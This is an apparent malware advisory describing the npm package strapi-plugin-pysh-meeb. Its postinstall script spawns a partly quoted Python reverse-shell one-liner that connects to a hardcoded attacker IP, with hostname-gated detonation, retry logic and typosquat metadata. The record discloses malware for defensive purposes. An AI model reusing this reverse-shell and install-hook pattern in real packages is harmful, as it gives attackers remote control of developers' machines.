MAL-2026-16239
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MAL-2026-16239
Summary: Malicious code in strapi-plugin-pysh-meeb (npm)
Details: Source: amazon-inspector (188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d) [email protected] ships a postinstall.js (also declared as the package main) that runs automatically on npm install. The script uses child_process to spawn a Python one-liner (`python3 -c 'import sys,socket,os,pty;...pty.spawn("sh")'`) which opens an outbound TCP connection to the hardcoded attacker IP 14.225.210.85:80 and hands an interactive PTY shell to the remote endpoint, giving full remote code execution on the installer's host. Detonation is gated by an os.hostname() equality check against 'ubuntu-fc-uvm', a targeting/evasion mechanism that suppresses the payload on other hosts while firing on the intended victim; retry logic is present to re-establish the connection. Package metadata is consistent with a typosquat dropper: the name mimics a Strapi plugin, the repository URL uses a placeholder 'user' org and a mismatched slug (strapi-plugin-yayccresh-meeb), and the description is a generic 'Strapi plugin for enhanced functionality'. No legitimate plugin functionality is shipped.
Affected packages
Package
Name: strapi-plugin-pysh-meeb
Purl: pkg:npm/strapi-plugin-pysh-meeb
Affected ranges
Type: N/A
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